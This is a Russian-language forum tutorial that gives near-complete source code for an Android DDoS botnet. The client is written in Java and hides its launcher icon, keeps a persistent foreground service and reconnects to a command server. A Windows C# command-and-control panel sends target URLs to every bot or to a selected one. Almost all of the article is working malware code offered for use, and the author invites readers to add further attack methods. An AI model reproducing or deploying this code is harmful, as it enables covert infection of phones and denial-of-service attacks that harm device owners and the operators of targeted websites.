DDoS Android Botnet + Android Client / Windows Server – Code

:zns6:

Давно планировал написать эту статью, но времени из-за других моих проектов не было. Сейчас освободился и, наконец, решил написать статью о DDoS Botnet на Android.

Для начала объясню, что такое DDoS Botnet в принципе, хотя не думаю, что это нуждается в объяснении, но в любом случае для статьи это нужно:

DDoS-Botnet — это сеть заражённых устройств, управляемая злоумышленником для проведения распределённых атак типа отказа в обслуживании (DDoS — Distributed Denial of Service).
В такой сети каждый заражённый компьютер (или любое другое устройство, например, смартфон под управлением Android, как в нашем случае) становится частью ботнета и получает команды от сервера, получая адреса целей для атаки.

Мы будем делать не какой-то обычный HTTP Flood, работающий через запросы, а полноценную загрузку веб-ресурса, в нашем случае через WebView. Также я добавлю ещё один метод DDoS исключительно для примера — например, возьму ping, он самый простой в реализации, но и граничит с бесполезным. В любом случае это не важно, так как он будет добавлен как практический пример. В последствии заменить его на другие методы не будет проблемой для вас, если вы будете использовать код из статьи.

  • Для написания серверной части я буду использовать C# (.NET 4.8) и WPF разметку (Windows Presentation Foundation).
  • Для написания клиентской части буду использовать Java (A) и Groovy DSL (build.gradle) с минимальным API 28 (A9).

Начну с кода Android клиента на Java.

Для начала нам нужно определить разрешения в AndroidManifest.xml:

XML:

<uses-permission android:name="android.permission.INTERNET" />
 <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
 <uses-permission android:name="android.permission.WAKE_LOCK" />
 <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
 <uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />

Также, если вы хотите, чтобы иконка вашего приложения не была видна, добавьте в Activity внутри AndroidManifest.xml следующее:

XML:

<category android:name="android.intent.category.LEANBACK_LAUNCHER" />

Так как в MainActivity.java у нас ничего не будет, кроме запуска нашего FOREGROUND_SERVICE, то его код будет выглядеть так:

Java:

package com.nmz.DDoSBTest;

import android.content.Intent;
import android.os.Bundle;

import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {


    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
       
        Intent serviceIntent = new Intent(MainActivity.this, BackgroundWVService.class); //Запуск нашего сервиса до которого мы еще дойдем
        startService(serviceIntent);
    }
}

Ничего, кроме запуска сервиса, не происходит, но переходить я бы хотел не сразу к нему, а немного рассказать о том, как будет загружаться наша страница через WebView. Для этого в коде есть WebViewService.java, который имеет задачу загрузить страницу и в ADB отобразить информацию о ней вкратце.

Код WebViewService.java:

Java:

private WebView webView;

    @Override
    public void onCreate() {
        super.onCreate();
        webView = new WebView(this);
        webView.setWebViewClient(new CustomWebViewClient());
        webView.getSettings().setJavaScriptEnabled(true);
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        String url = intent.getStringExtra("url");

        if (url != null) {

            if (!isValidUrl(url)) {
                url = "http://" + url;
            }

            Log.d(TAG, "Loading URL/IP in WebView: " + url);
            webView.loadUrl(url);
        } else {
            Log.e(TAG, "No URL/IP received");
        }

        return START_NOT_STICKY;
    }

    @Override
    public void onDestroy() {
        if (webView != null) {
            webView.destroy();
        }
        super.onDestroy();
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    private boolean isValidUrl(String url) {
        return url.startsWith("http://") || url.startsWith("https://");
    }

    private class CustomWebViewClient extends WebViewClient {
        @Override
        public void onPageStarted(WebView view, String url, android.graphics.Bitmap favicon) {
            super.onPageStarted(view, url, favicon);
            Log.d(TAG, "Page loading: " + url);
        }

        @Override
        public void onPageFinished(WebView view, String url) {
            super.onPageFinished(view, url);
            Log.d(TAG, "Page finished loading: " + url);

            String title = view.getTitle();
            Log.d(TAG, "Page title: " + title);
        }

        @Override
        public void onReceivedHttpError(WebView view, WebResourceRequest request, android.webkit.WebResourceResponse errorResponse) {
            super.onReceivedHttpError(view, request, errorResponse);
            Log.e(TAG, "HTTP error for URL/IP: " + request.getUrl() + " Error code: " + errorResponse.getStatusCode());
        }

        @Override
        public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) {
            super.onReceivedError(view, errorCode, description, failingUrl);
            Log.e(TAG, "Error loading URL/IP: " + failingUrl + " Error code: " + errorCode + " Description: " + description);
        }
    }
}

Код загружает веб страницу в WebView и отображает краткое содержимое о ней.


Теперь хотелось бы отметить код AttackerReceiverURLIP.java, который получает IP или URL сайта, затем проверяет его на валидность, и если получает IP без заголовка HTTP/HTPPS , то добавляет его и отправляет дальше в WebViewService.java.

Код AttackerReceiverURLIP.java:

Java:

public class AttackerReceiverURLIP extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String url = intent.getStringExtra("url");
        Log.d("UrlReceiver", "Received URL: " + url);
        if (url != null) {
            // Проверка и добавление префикса например если передан ip ну и проверочка
            if (!url.startsWith("http://") && !url.startsWith("https://")) {
                url = "https://" + url;
            }

            if (isValidUrl(url)) {
                Intent serviceIntent = new Intent(context, WebViewService.class);
                serviceIntent.putExtra("url", url);
                context.startService(serviceIntent);
            } else {
                Log.e("UrlReceiver", "Invalid URL received: " + url);
            }
        }
    }

    private boolean isValidUrl(String url) {
        return url != null && (url.startsWith("http://") || url.startsWith("https://"));
    }
}

Теперь стоит перейти к последнему сервису на стороне клиента — это BackgroundWVService.java, и вот, соответственно, его код:

Java:

private static final String CHANNEL_ID = "DDoSForegroundServiceChannel";
private Handler ReconnectServerHandler = new Handler(Looper.getMainLooper());
private boolean isConnected = false;
private Socket clientSocket;
private BufferedReader input;
private OutputStream output;


 @Override
    public void onCreate() { //инициализации в onCreate
        super.onCreate();

 createNotificationChannel();
 startForegroundService();
 connectToServer();

}


    private void createNotificationChannel() { //13,14D требуют подобных извращений.
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            CharSequence name = "Foreground Service";
            String description = "Channel";
            int importance = NotificationManager.IMPORTANCE_DEFAULT;
            NotificationChannel channel = new NotificationChannel(CHANNEL_ID, name, importance);
            channel.setDescription(description);
            NotificationManager notificationManager = getSystemService(NotificationManager.class);
            notificationManager.createNotificationChannel(channel);
        }
    }

private void startForegroundService() {
        Intent notificationIntent = new Intent(this, MainActivity.class);
        PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, PendingIntent.FLAG_IMMUTABLE);

        Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID)
                .setContentTitle("Foreground Service")
                .setContentText("Service is running in the background")
                .setSmallIcon(R.mipmap.ic_launcher)
                .setContentIntent(pendingIntent)
                .build();

        startForeground(1, notification);
    }
@Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        return START_STICKY;
    }

    private void connectToServer() {
        new ConnectToServerTask().execute("127.0.0.1", "6666");//ip:p сервера
    }

    private class ConnectToServerTask extends AsyncTask<String, Void, Boolean> {
        private String serverIp;
        private int serverPort;

        @Override
        protected Boolean doInBackground(String... params) {
            serverIp = params[0];
            serverPort = Integer.parseInt(params[1]);

            while (!isConnected) {
                try {
                    clientSocket = new Socket(serverIp, serverPort);
                    input = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));
                    output = clientSocket.getOutputStream();
                    isConnected = true;

                    new ReceiveMessagesTask().start();
 } catch (Exception e) {
                    Log.e("ConnectToServerTask", "Error connecting to server, retrying in 5 seconds", e);
                    try {
                        Thread.sleep(5000);
                    } catch (InterruptedException ie) {
                        Log.e("ConnectToServerTask", "Interrupted during reconnection delay", ie);
                    }
                }
            }
            return false;
        }


@Override
        protected void onPostExecute(Boolean result) {
            if (result) {
                Toast.makeText(getApplicationContext(), "Connected to the server", Toast.LENGTH_SHORT).show();
            } else {
                startReconnection();
            }
        }
    }

    private void startReconnection() {
        ReconnectServerHandler.postDelayed(() -> {
            if (!isConnected) {
                Log.d("Reconnection", "Attempting to reconnect...");
                connectToServer();
            }
        }, 5000);
    }

    private class SendMessageTask extends AsyncTask<String, Void, Void> {
        private static final int CHUNK_SIZE = 1024;
        private static final long DELAY_MS = 500;

        @Override
        protected Void doInBackground(String... messages) {
            try {
                if (isConnected && output != null) {
                    for (String message : messages) {

                        byte[] messageBytes = message.getBytes();
                        int length = messageBytes.length;
                        for (int i = 0; i < length; i += CHUNK_SIZE) {
                            int end = Math.min(length, i + CHUNK_SIZE);
                            output.write(messageBytes, i, end - i);
                            output.flush();
                            Thread.sleep(DELAY_MS);
                        }
                    }
                }
            } catch (Exception e) {
                Log.e("SendMessageTask", "Error sending message", e);
            }
            return null;
        }
    }

    private class ReceiveMessagesTask extends Thread {
        private final Handler uiHandler = new Handler(Looper.getMainLooper());

        @Override
        public void run() {
            try {
                while (isConnected) {
                    String message = input.readLine();
                    if (message != null) {
                        if (isValidUrl(message)) {
                            handleUrl(message);
                        } else {
                            uiHandler.post(() -> Toast.makeText(getApplicationContext(), "msg s: " + message, Toast.LENGTH_LONG).show());
                        }
                    }
                }
            } catch (Exception e) {
                Log.e("ReceiveMessagesTask", "Connection lost, attempting to reconnect", e);
                isConnected = false;
                startReconnection();
            }
        }
    }
private void handleUrl(String url) {
        //Добавление http чтобы если например человек передал ip то мы перешли по нему как и по ссылке
        if (!url.startsWith("http://") && !url.startsWith("https://")) {
            url = "https://" + url;
        }

        Intent intent = new Intent(BackgroundWVService.this, WebViewService.class);
        intent.putExtra("url", url);
        startService(intent);
    }

    private boolean isValidUrl(String url) {
        try {
            Uri uri = Uri.parse(url);
            return uri.getScheme() != null && (uri.getScheme().equals("http") || uri.getScheme().equals("https"));
        } catch (Exception e) {
            return false;
        }
    }


    @Override
    public void onDestroy() {
        super.onDestroy();
        try {
            isConnected = false;
            if (clientSocket != null) {
                clientSocket.close();
            }
        } catch (Exception e) {
            Log.e("onDestroy", "Error closing socket", e);
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }
}

На этом код клиента закончен. Я не стал описывать некоторые и так понятные моменты, как, например, весь код Manifest или отправку конкретных данных на сервер, таких как версия Android или модель устройства, хотя вы можете легко их получить и по желанию отправить на сервер.

Java:

AndroidVersion = "Android Version: " + Build.VERSION.RELEASE;
SDeviceModel = "Device Model: " + Build.MODEL;

Теперь, когда с кодом клиента всё более-менее понятно и что происходит на его стороне, можно приступить к коду сервера. На серверной стороне не будет билдера или каких-то наворотов — исключительно функционал отправки данных на сервер и принятия ответов от клиента.

Код DDoServer:

C#:

public partial class MainWindow : Window
    {
        private ObservableCollection<ClientInfo> _clients;
        private TcpListener _server;
        private Thread _serverThread;
        private Thread _monitorThread;
        private int _serverPort = 4444; //стандартный порт прослушивания
        private Dictionary<string, string> _clientMessages;
        private volatile bool _isServerRunning;
        private ConcurrentDictionary<string, TcpClient> _connectedClients;

        public MainWindow()
        {
            InitializeComponent();
            _clients = new ObservableCollection<ClientInfo>(); //Инициализации
            clientsview.ItemsSource = _clients;
            _clientMessages = new Dictionary<string, string>();
            _connectedClients = new ConcurrentDictionary<string, TcpClient>();
        }

Обработчик StartServer:

C#:

if (_serverThread != null && _serverThread.IsAlive)
            {
                MessageBox.Show("Server is already running.");
                return;
            }

            if (!int.TryParse(portTextBox.Text, out _serverPort))
            {
                MessageBox.Show("Invalid port number. Please enter a valid number.");
                return;
            }

            _serverThread = new Thread(StartServer);
            _serverThread.IsBackground = true;
            _serverThread.Start();

            _monitorThread = new Thread(MonitorClients);
            _monitorThread.IsBackground = true;
            _monitorThread.Start();
        }

Методы / остальное:

C#:

private void StartServer()
{
    try
    {
        _server = new TcpListener(IPAddress.Any, _serverPort);
        _server.Start();
        _isServerRunning = true;
        Dispatcher.Invoke(() => MessageBox.Show($"Server started on port {_serverPort}"));

        while (_isServerRunning)
        {
            if (_server.Pending())
            {
                TcpClient client = _server.AcceptTcpClient();
                IPEndPoint clientEndPoint = client.Client.RemoteEndPoint as IPEndPoint;

                if (clientEndPoint != null)
                {
                    string clientIp = clientEndPoint.Address.ToString();

                    
                    if (_connectedClients.ContainsKey(clientIp))
                    {
                      
                        if (_connectedClients.TryRemove(clientIp, out TcpClient oldClient))
                        {
                            oldClient.Close();
                        }
                    }

                    if (_connectedClients.TryAdd(clientIp, client))
                    {
                        Dispatcher.Invoke(() =>
                        {
                            var existingClient = _clients.FirstOrDefault(c => c.IPAddress == clientIp);
                            if (existingClient == null)
                            {
                                _clients.Add(new ClientInfo
                                {
                                    IPAddress = clientIp,
                                    TcpClient = client
                                });
                            }
                            else
                            {
                            
                                existingClient.TcpClient = client;
                            }
                            MessageBox.Show($"New client connected: {clientIp}");
                        });
                    }

                
                    Thread clientThread = new Thread(() => HandleClient(client, clientIp));
                    clientThread.IsBackground = true;
                    clientThread.Start();
                }
            }
            else
            {
                Thread.Sleep(100);
            }
        }
    }
    catch (SocketException ex)
    {
        if (ex.SocketErrorCode != SocketError.Interrupted)
        {
            Dispatcher.Invoke(() => MessageBox.Show($"Error: {ex.Message}"));
        }
    }
    catch (Exception ex)
    {
        Dispatcher.Invoke(() => MessageBox.Show($"Error: {ex.Message}"));
    }
}


 private void HandleClient(TcpClient client, string clientIp)
 {
     try
     {
         NetworkStream stream = client.GetStream();
         byte[] buffer = new byte[1024];
         int bytesRead;

         while ((bytesRead = stream.Read(buffer, 0, buffer.Length)) > 0)
         {
             string message = Encoding.UTF8.GetString(buffer, 0, bytesRead);

          
             lock (_clientMessages)
             {
                 _clientMessages[clientIp] = message;
             }

            
             SaveMessageToFile(clientIp, message);

            
             var lines = message.Split(new[] { '\n' }, StringSplitOptions.RemoveEmptyEntries);

            
             Dispatcher.Invoke(() =>
             {
                 foreach (var line in lines)
                 {
                     if (clientsview.SelectedItem is ClientInfo selectedClient && selectedClient.IPAddress == clientIp)
                     {
                         packetText.Text += line + Environment.NewLine;
                     }
                 }
             });
         }
     }
     catch (Exception ex)
     {
         Console.WriteLine($"Client error: {ex.Message}");
     }
     finally
     {
      
         Dispatcher.Invoke(() =>
         {
             try
             {
                 lock (_clients)
                 {
              
                     var clientInfo = _clients.FirstOrDefault(c => c.IPAddress == clientIp);
                     if (clientInfo != null)
                     {
                         _clients.Remove(clientInfo);
                     }
                 }

            
                 lock (_clientMessages)
                 {
                     if (_clientMessages.ContainsKey(clientIp))
                     {
                         _clientMessages.Remove(clientIp);
                     }
                 }

              
                 if (clientsview.SelectedItem is ClientInfo selectedClient && selectedClient.IPAddress == clientIp)
                 {
                     packetText.Text = string.Empty;
                 }
             }
             catch (Exception uiEx)
             {
                 Console.WriteLine($"UI error: {uiEx.Message}");
             }
         });

      
         try
         {
             client.Close();
         }
         catch (Exception ex)
         {
             Console.WriteLine($"Error closing client connection: {ex.Message}");
         }
     }
 }


 private void MonitorClients()
 {
     while (_isServerRunning)
     {
         foreach (var kvp in _connectedClients.ToList())
         {
             string clientIp = kvp.Key;
             TcpClient client = kvp.Value;

             try
             {
                
                 if (client.Client.Poll(0, SelectMode.SelectRead))
                 {
                     byte[] check = new byte[1];
                     if (client.Client.Receive(check, SocketFlags.Peek) == 0)
                     {
                  
                         Dispatcher.Invoke(() =>
                         {
                        
                             var clientInfo = _clients.FirstOrDefault(c => c.IPAddress == clientIp);
                             if (clientInfo != null)
                             {
                                 _clients.Remove(clientInfo);
                             }

                          
                             lock (_clientMessages)
                             {
                                 if (_clientMessages.ContainsKey(clientIp))
                                 {
                                     _clientMessages.Remove(clientIp);
                                 }
                             }

                             if (clientsview.SelectedItem is ClientInfo selectedClient && selectedClient.IPAddress == clientIp)
                             {
                                 packetText.Text = string.Empty;
                             }
                         });

                         _connectedClients.TryRemove(clientIp, out _);
                         client.Close();
                     }
                 }
             }
             catch (Exception ex)
             {
                 Console.WriteLine($"Error monitoring client {clientIp}: {ex.Message}");
             }
         }

         Thread.Sleep(5000);
     }
 }

 private void StopServer()
 {
     try
     {
         _isServerRunning = false;

         _server?.Stop();

         foreach (var clientInfo in _clients.ToList())
         {
             if (clientInfo.TcpClient != null && clientInfo.TcpClient.Connected)
             {
                 clientInfo.TcpClient.Close();
             }
         }

         _serverThread?.Join();
         _monitorThread?.Join();
         Dispatcher.Invoke(() => MessageBox.Show("Server stopped successfully."));
     }
     catch (Exception ex)
     {
         Dispatcher.Invoke(() => MessageBox.Show($"Error stopping server: {ex.Message}"));
     }
 }

Ну и под конец — код отправки информации на клиента:

C#:

 string link = DDoSTx.Text;

 if (!string.IsNullOrWhiteSpace(link))
 {
     SendMessageToAllClients(link);
 }
 else
 {
     MessageBox.Show("Write Link.");
 }

---

 foreach (var clientInfo in _clients.ToList())
 {
     if (clientInfo.TcpClient != null && clientInfo.TcpClient.Connected)
     {
         try
         {
             NetworkStream stream = clientInfo.TcpClient.GetStream();
             byte[] buffer = Encoding.UTF8.GetBytes(message + "\n");
             stream.Write(buffer, 0, buffer.Length);
             stream.Flush();

Также добавил код, который отправляет задачу на одного выбранного клиента из спискаIP:

C#:

  if (clientsview.SelectedItem is ClientInfo selectedClient)
            {
                string clientIp = selectedClient.IPAddress;

                if (_clientMessages.ContainsKey(clientIp))
                {
                    string link = DDoSTx.Text;

                    if (!string.IsNullOrWhiteSpace(link))
                    {
                        SendLinkToClient(clientIp, link);
                    }
                    else
                    {
                        MessageBox.Show("Write Link/Ip.");
                    }
                }
                else
                {
                    MessageBox.Show("Client not found.");
                }
            }
            else
            {
                MessageBox.Show("Select a client from the list of IP.");
            }
        }

И метод для этого дела:

C#:

  private void clientsview_SelectionChanged(object sender, SelectionChangedEventArgs e)
  {
      if (clientsview.SelectedItem is ClientInfo selectedClient)
      {
          if (_clientMessages.ContainsKey(selectedClient.IPAddress))
          {
              packetText.Text = _clientMessages[selectedClient.IPAddress];
          }
      }
  }

GUI панели сервера, написанной на WPF (Windows Presentation Foundation) (более новая версия, чем описана в статье), включает в себя разметку и дизайн, которые не были описаны в статье.
В статье был представлен исключительно код без разметки и дизайна.


Хочу подметить, что использовать такое можно только для веб-ресурсов в связи с логикой работы через WebView, но вы можете добавить свой код для других нужных вам методов атак.


Благодарю за внимание!Если есть какие-то вопросы или дополнения, буду рад обсудить.

Всех благ

:smile10:

.